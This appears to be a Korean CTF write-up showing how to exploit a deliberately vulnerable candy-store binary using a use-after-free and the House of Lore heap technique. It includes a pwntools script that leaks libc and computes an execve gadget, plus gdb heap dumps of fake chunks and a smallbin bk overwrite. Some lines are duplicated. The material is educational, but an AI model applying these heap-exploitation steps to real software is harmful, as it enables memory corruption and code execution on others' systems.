...
Panel | ||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| ||||||||||||||||||
|
...
다음과 같이 UAF 취약성을 사용해 "gAccount[1].fd→state" 값을 변경할 수 있습니다.
ACCOUNT 구조체의 크기는 128 byte 입니다.
orderCandy() 함수에 dest->candyDescription(사탕의 정보를 입력하는 영역)에 할당되는 크기는 124 byte입니다.
- 해제된 "gAccount[1].fd"영역을 "dest→candyDescription" 에 할당받아야 합니다.
- 해당 영역("dest→candyDescription")에 문자 8개 16개 이상을 저장하면 "gAccount[1].fd→state" 영역을 덮어 쓸 수 있습니다.
- 주의 할 내용은 다음과 같습니다.
- UAF 공격시 제일 중요한 부분은 House of lore 공격을 위해 ACCOUNT 구조체와 같은 크기의 공간을 할당받고 해제 할 수 있어야 합니다.
- 즉, 해제된 "gAccount[1].fd" 영역에 반드시 "dest->candyDescription"에 할당되는 영역이 할당되어야 합니다.
- 즉, 해제된 "gAccount[1].fd" 영역에 반드시 "dest->candyDescription"에 할당되는 영역이 할당되어야 합니다.
- 그리고 아래와 같은 영역이 "gAccount[1].fd" 영역에 할당되지 않도록 주의 해야 합니다.
- 해당 프로그램은 사탕을 주문하기 위해서는 Order list에 구매할 사탕을 추가해야 합니다.
- Order list에 구매할 사탕을 추가 때 마다 Heap 영역(24 byte)을 할당 받습니다.
- 해당 프로그램은 주문한 사탕이 가게에 없는 제품이면 Heap 영역(24 byte)을 할당 받습니다.
- 해당 프로그램은 사탕을 주문하기 위해서는 Order list에 구매할 사탕을 추가해야 합니다.
- UAF 공격시 제일 중요한 부분은 House of lore 공격을 위해 ACCOUNT 구조체와 같은 크기의 공간을 할당받고 해제 할 수 있어야 합니다.
...
Panel | ||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| ||||||||||||||||||||||||||||||||||||
|
...
Code Block |
---|
from pwn import * #context.log_level = 'debug' def login(id,pw): p.recvuntil('Enter your ID.') p.send(id) p.recvuntil('Enter your Password.') p.send(pw) def setOrderlist(num): p.recvuntil('Command : ') p.send('4') p.recvuntil('Command : ') p.send('2') p.recvuntil('Please pick up the candies to order.') p.send(num) p.recvuntil('Command : ') p.send('5') def getOrderlist(): p.recvuntil('Command : ') p.send('4') p.recvuntil('Command : ') p.send('1') def setOrder(price,desc): p.recvuntil('Command : ') p.send('4') p.recvuntil('Command : ') p.send('4') p.recvuntil('0) Yes, 1) No') p.send('0') p.recvuntil('Enter the price of ') p.sendline(price) p.recvuntil('Enter a description of the') p.send(desc) p.recvuntil('Command : ') p.send('5') def purchase(code,num,comment): p.recvuntil('Command : ') p.send('2') p.recvuntil('Please enter the code number of the candy to be purchased.') p.send(code) p.recvuntil('Please enter the number of the candy to purchase.') p.send(num) p.recvuntil('Please enter a comment for candy.') p.send(comment) bin = ELF('./Lazenca.0x0') p = remote('n8.pwn.tk.seccon.spica.bz',9999) login('Admin','admin') setOrderlist('1') setOrder('10','TEST') setOrderlist('1') setOrderlist('1') purchase('0','10','AA') setOrderlist('1') getOrderlist() p.recvuntil('Order code : ') p.recvuntil('Order code : ') p.recvuntil('Order code : ') p.recv(1) tmp = p.recv(5) tmp = '\x00' + tmp libcLeak = u64(tmp.ljust(8,'\x00')) libcBase = libcLeak - 0x3c4c00 execve = libcBase + 0xF0274 log.info("Libc leak : " + hex(libcLeak)) log.info("Libc base: " + hex(libcBase)) log.info("execve : " + hex(execve)) p.recvuntil('Command : ') p.send('5') |
House of lore(Fake chunk)
- 다음과 같이 "gAccount[1].fd" 영역에 할당되었던 공간을 "dest->candyDescription"영역에 재할당 받아야 합니다.
동일한 영역을 할당받기 위해 미리 Heap 구조를 설계해야 합니다.
Order list의 0번째 사탕 취소
- 사탕 주문 완료
- 2개의 새로운 계정을 생성합니다.
Panel | ||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
- 다음과 같이 House of lore에 필요한 Fake chunk를 생성할 수 있습니다.
- 생성한 계정을 이용해 다음과 같이 충전이 필요합니다.
- 2번째 계정 : 6308456(0x604268)
- 3번째 계정 : 6308416(0x604240)
- 2번째 계정을 삭제 합니다.
- 생성한 계정을 이용해 다음과 같이 충전이 필요합니다.
- 다음과 같은 gAccount[] 구조를 가지게 됩니다.
Code Block |
---|
gdb-peda$ x/8gx 0x604240
0x604240: 0x0000000000000000 0x0000000000000002
0x604250: 0x0000000001a08b90 0x0000000000604268
0x604260: 0x0000000000000003 0x0000000000000003
0x604270: 0x0000000001a08c30 0x0000000000604240
gdb-peda$ |
Panel | |||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
- 다음과 같은 Heap 구조를 가지게 됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ parseheap
addr prev size status fd bk
0xa17000 0x0 0x90 Used None None
0xa17090 0x0 0x410 Used None None
0xa174a0 0x0 0x20 Used None None
0xa174c0 0x0 0x20 Used None None
0xa174e0 0x0 0x20 Used None None
0xa17500 0x0 0x20 Used None None
0xa17520 0x0 0x20 Used None None
0xa17540 0x0 0x20 Used None None
0xa17560 0x0 0x20 Used None None
0xa17580 0x0 0x20 Used None None
0xa175a0 0x0 0x20 Used None None
0xa175c0 0x0 0x20 Used None None
0xa175e0 0x0 0x20 Used None None
0xa17600 0xa17630 0x20 Freed 0x0 None
0xa17620 0x100006567 0x90 Used None None
0xa176b0 0x90 0x20 Freed 0xa17600 None
0xa176d0 0x100006567 0x4c0 Used None None
0xa17b90 0x0 0x90 Freed 0x7ff5052a2b78 0x7ff5052a2b78
0xa17c20 0x90 0x90 Used None None
gdb-peda$ |
Panel | ||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
House of lore(Overwrite Smallbin bk)
- 우선 공격자는 bk 영역을 덮어 쓰기 위해서 다음과 같이 "gAccount[1].fd→state"의 값을 조작해야 합니다.
- 공격자는 다음과 같이 UAF 취약성을 사용할 수 있습니다.
- Order list에 새로운 사탕을 추가하고, 주문을 완료합니다.
- 이때 "dest→candyDescription" 영역에 "gAccount[1].fd + 0x10" 영역의 주소가 저장됩니다.
- 해당 영역에 16이상의 문자를 저장합니다.
- 이때 "dest→candyDescription" 영역에 "gAccount[1].fd + 0x10" 영역의 주소가 저장됩니다.
- 다음과 같이 "gAccount[1].fd→state" 값을 변경됩니다.
- Order list에 새로운 사탕을 추가하고, 주문을 완료합니다.
Code Block |
---|
gdb-peda$ x/6gx 0x0000000002593b90
0xA17B90: 0x0000000000000000 0x0000000000000091
0xa17ba0: 0x4141414141414141 0x4141414141414141
0xa17bb0: 0x4141414141414141 0x0000000000000000
gdb-peda$ |
Panel | ||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
다음과 같이 1번 사탕을 구매하여 0xA17B90 영역이 Smallbin에 등록되도록 합니다.
0xA17B90 영역이 Smallbin[16], [17]에 등록되었습니다.
Code Block |
---|
gdb-peda$ parseheap
addr prev size status fd bk
0xa17000 0x0 0x90 Used None None
0xa17090 0x0 0x410 Used None None
0xa174a0 0x0 0x20 Used None None
0xa174c0 0x0 0x20 Used None None
0xa174e0 0x0 0x20 Used None None
0xa17500 0x0 0x20 Used None None
0xa17520 0x0 0x20 Used None None
0xa17540 0x0 0x20 Used None None
0xa17560 0x0 0x20 Used None None
0xa17580 0x0 0x20 Used None None
0xa175a0 0x0 0x20 Used None None
0xa175c0 0x0 0x20 Used None None
0xa175e0 0x0 0x20 Used None None
0xa17600 0xa17630 0x20 Freed 0x7ff5052a2b88 0xa176b0
0xa17620 0x100006567 0x90 Used None None
0xa176b0 0x90 0x20 Freed 0xa17600 0x7ff5052a2b88
0xa176d0 0x100006567 0x4c0 Used None None
0xa17b90 0x0 0x90 Freed 0x7ff5052a2bf8 0x7ff5052a2bf8
0xa17c20 0x90 0x90 Used None None
0xa17cb0 0x90 0x4c0 Used None None
gdb-peda$ p main_arena.bins[16]
$1 = (mchunkptr) 0xa17b90
gdb-peda$ p main_arena.bins[17]
$2 = (mchunkptr) 0xa17b90
gdb-peda$ |
Panel | |||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| |||||||||||||||||||||||||||||||||||||||||||||||
Panel | |||||||||||||||||||||||||||||||||||||||||||||||
|
- 다음과 같이 UAF 취약성을 사용할 수 있습니다.
- Order list에 새로운 사탕을 추가하고, 주문을 완료합니다.
- 이때 "dest→candyDescription" 영역에 "gAccount[1].fd + 0x10" 영역의 주소가 저장됩니다.
- 즉, "gAccount[1].fd→state" 값을 변경 할 수 있습니다.
- Order list에 새로운 사탕을 추가하고, 주문을 완료합니다.
...
|
- 다음과 같이 2번 계정의 비밀번호 변경을 통해 bk영역의 값을 계속 변경 할 수있습니다.
- bk 영역에 첫번째 Fake chunk 의 시작 주소를 저장하였습니다.
Code Block |
---|
gdb-peda$ x/6gx 0x9d4b90
0xA17B90: 0x0000000000000000 0x0000000000000091
0xa17ba0: 0x00007f91951a6bf8 0x0000000000604240
0xa17bb0: 0x4141414141414141 0x0000000000000000
gdb-peda$ |
- 다음과 같은 방법으로 main_arena.bins[17] 영역에 gAccount[1]의 주소 값을 저장 할 수 있습니다.
- 공격자는 Order list에 사탕을 추가하고, 주문을 완료합니다.
One Gadget
Panel |
---|
Exploit Code
...